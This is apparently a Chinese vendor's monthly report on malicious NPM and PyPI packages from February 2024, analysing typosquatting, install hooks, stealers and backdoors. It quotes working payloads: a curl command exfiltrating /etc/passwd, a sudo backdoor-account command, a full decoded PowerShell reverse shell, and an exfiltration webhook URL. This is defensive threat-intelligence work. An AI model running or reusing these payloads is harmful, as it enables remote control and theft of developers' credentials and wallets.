概述
悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年2月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com)和Pypi官方仓库(https://pypi.org)共捕获503个不同版本的恶意组件包,其中NPM仓库投毒占比89.46%, Pypi仓库投毒占比10.54%,NPM仓库依旧是开源组件包投毒的重灾区。
2024年2月份投毒包每日统计
结合源代码分析、动态行为监控等方式,我们对2月份捕获的开源组件投毒包进行多维度分析,总结统计出主流的攻击方式和恶意行为标签。
投毒攻击方式主要包括:
-
恶意文件执行
-
代码混淆执行
-
恶意文件下载
-
shell命令执行
-
恶意文件释放
其中,恶意文件执行是最常用的攻击方式(占比78.13%),其主要攻击流程是利用开源组件包管理器在安装组件包过程中利用自定义的恶意指令来加载并执行内置在组件包中的恶意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在组件安装包中直接嵌入恶意shell命令(占比8.87%)、恶意文件下载(占比4.28%)及恶意文件释放后执行也是投毒者惯用的攻击手法。为了逃避安全检测,部分恶意包使用了代码编码、加密及混淆(占比7.61%)等方式进行恶意代码隐藏。
攻击方式统计
在所有投毒包的恶意行为中,窃取系统信息占比超过85%,信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器Cookie等敏感数据。其次,远控木马和反向shell后门攻击紧随其后(两者之和占比约10%)。此外,在2月里捕获到多起盗取数字钱包客户端敏感数据的投毒攻击。值得一提的是,我们在NPM组件投毒中首次捕获到通过添加Linux系统后门账户进行远程控制的攻击手段。
恶意标签统计
本节将从2月份捕获的开源组件恶意包中精选部分具有代表性的投毒样本进行分析,还原投毒者的攻击方式和细节。
Part1 敏感信息窃取
Python恶意包djanggo利用包名错误拼写(typo-squatting)来伪装成知名Python WEB组件django,以此迷惑混淆Python开发者误安装该恶意包。
知名Python组件django
djanggo恶意包通过在安装文件setup.py中重定义cmdclass install及egg_info实现在安装时自动触发执行恶意函数RunCommand()。
RunCommand()函数内部通过subprocess模块调用Linux系命令curl将当前系统环境变量、进程列表等信息通过HTTP POST外传到攻击者服务器上。
此外,多个NPM恶意组件包(lib-comdig、bubble-dev)在安装过程中存在窃取系统密码文件的行为。以恶意包bubble-dev为例,其安装包的package.json文件中包含恶意shell命令
攻击者尝试利用preinstall指令在NPM包安装前执行恶意命令将系统/etc/passwd密码文件及主机名等敏感信息外传到攻击者服务器上。
/usr/bin/curl --data '@/etc/passwd' $(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.net
Part2 系统后门账户
NPM恶意包browser-spoof在安装时会执行恶意代码index2.js, index2.js将从CDN服务器上拉取恶意bash文件sh.sh到受害者系统上执行。
bash恶意代码如下所示:
wget -q https://ezstat.ru/29U6f5; sudo useradd -m -G sudo -s /bin/bash -p $(openssl passwd -1 ICEWATER) systst2 && echo "systst2 ALL=(ALL:ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers > /dev/null;
先通过wget请求将受害者系统出网IP泄露给攻击者,接着利用useradd命令在系统中添加新的用户账户;最后使用tee命令将新用户账户添加到sudoers文件中,将新账户权限提升到sudo权限。
Part3 反向shell后门
攻击者通常在投毒组件包中直接内置反弹shell命令或者通过脚本语言特性将开发者系统shell反弹到攻击者服务器上,开发者一旦通过包管理器安装或加载投毒包时,反弹shell代码将自动执行,导致开发者系统被攻击者远程shell控制。
以Python恶意包isred为例,该投毒包目标针对Linux系统,攻击者在isred模块入口文件__init__.py中使用socket将受害者系统shell标准输入、输出重定向到攻击者服务器 (0.tcp.au.ngrok.io:16311),从而实现对受害者系统的反向shell远控。
对于NPM仓库的ts-patch-moongoose恶意包,目标主要针对Windows系统,其恶意文件mongoose.js通过调用child_process模块执行base64编码的PowerShell恶意命令。
解码后的实际PowerShell代码如下所示:
Start-Process $PSHOME\powershell.exe -ArgumentList {$cc4b3e0706be478095235bdbc5479fde = New'-Obje'ct System.Net.Sockets.TCPClient('84.77.69.69',4443);$4bdf71701e4e45a48bd66974a36d1fd8 = $cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98 = 0..65535|%{0};while(($i = $4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98, 0, $b72dd70b9b5c4635b410c3eda039db98.Length)) -ne 0){;$ff887d09535d46489582d67f05e7d60f = (Ne'w-Ob'ject -TypeName System.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0, $i);$e9f33eef377548fdb8e212aaecec6b47 = (iex $ff887d09535d46489582d67f05e7d60f 2>&1 | Out-String );$0e7cb537947a4905b36e36b8ef25f955 = $e9f33eef377548fdb8e212aaecec6b47 + 'PS ' + (p'w'd).Path + '> ';$986886c1059c495ebc37a28fa8735419 = ([text.encoding]::ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()} -WindowStyle Hidden
恶意PowerShell代码通过System.Net.Sockets.TCPClient接口将Windows系统cmd shell反弹到攻击者控制的服务器端口84.77.69.69:4443上,从而达到对受害者系统进行远程shell后门控制。(详细分析可参考:供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者)
Part4 远控木马
在2月份捕获的恶意样本中有多起针对Python知名HTTP客户端组件httpx、requests的投毒攻击(包括requests-sessions、requests-http、request-get、tls-session等)。这些恶意样本的攻击方式主要发生在包管理器安装或者恶意包加载时,恶意包中的恶意代码会触发执行并从攻击者的托管服务器上下载恶意程序到受害者系统上执行木马后门攻击。
以恶意包tls-session为例,其安装包内置了包含有恶意代码的SSL/TLS 客户端组件tls-client,tls-client在Pypi仓库上的周下载量超过3万。
Python组件tls-client下载量统计
组件包tls-session通过克隆tls-client v1.0.1版本项目代码,并在tls-client的__init__.py文件中植入base64编码的恶意代码。
base64代码解码后得到真实的攻击代码:
恶意代码从CDN服务器上下载恶意木马程序Built.exe保存到受害者系统上(SERPROFILE%\AppData\Local\explorer.exe),并伪装成Windows系统进程explorer.exe执行。
Built.exe已被多款杀毒引擎判定为木马
Part5 数字钱包窃密
NPM恶意包object-window-dtc主要目标是盗取Windows系统上Exodus数字钱包应用数据,其通过 JS代码混淆对恶意代码进行保护逃避检测,混淆代码如下所示:
去混淆后还原出核心恶意代码:
代码逻辑主要是遍历Exodus 数字钱包应用目录(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每个文件,并将每个文件内容通过HTTP POST方式外传到投毒者Discord Webhook接口上 。
https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3x
Part6 BladeroidStealer盗号
2月28号,NPM开发者klewba32在官方仓库上进行Sniper系列投毒,当天连续投放snipersee、sniperser、sniperv1、sniperv2等恶意包。这些恶意包采用相同的恶意代码,主要目标是盗取开发者浏览器保存的登录凭证、主流社交平台账号session及用户数据、浏览器数字钱包插件账户数据、系统中任何包含常见密码口令关键字的敏感文件。
Sniper系列投毒包的核心恶意代码使用aes-256-cbc进行加密保护:代码解密后可明显发现代码中存在多处涉及BladeroidStealer代号的相关内容。
BladeroidStealer主要功能函数列表如下所示:以getCookiesAndSendWebhook()函数为例,其功能是从浏览器本地cookie文件中提取主流社区账号(instagram、tiktok、reddit、spotify)的sessionid。
提取到sessionid后,会进一步使用sessionid从官方接口拉取详细的用户信息。以TikTok为例,stealTikTokSession() 函数负责盗取TikTok用户数据、浏览记录以及支付账户等敏感信息。
盗取的账户数据最终发送到攻击者Webhook接口上(https://Bladeroid.xyz/webhooks/)
排查方式
截至目前,大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。
总结
根据2024年2月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM依旧是投毒者的重点目标,敏感数据窃取仍是主流攻击。
悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。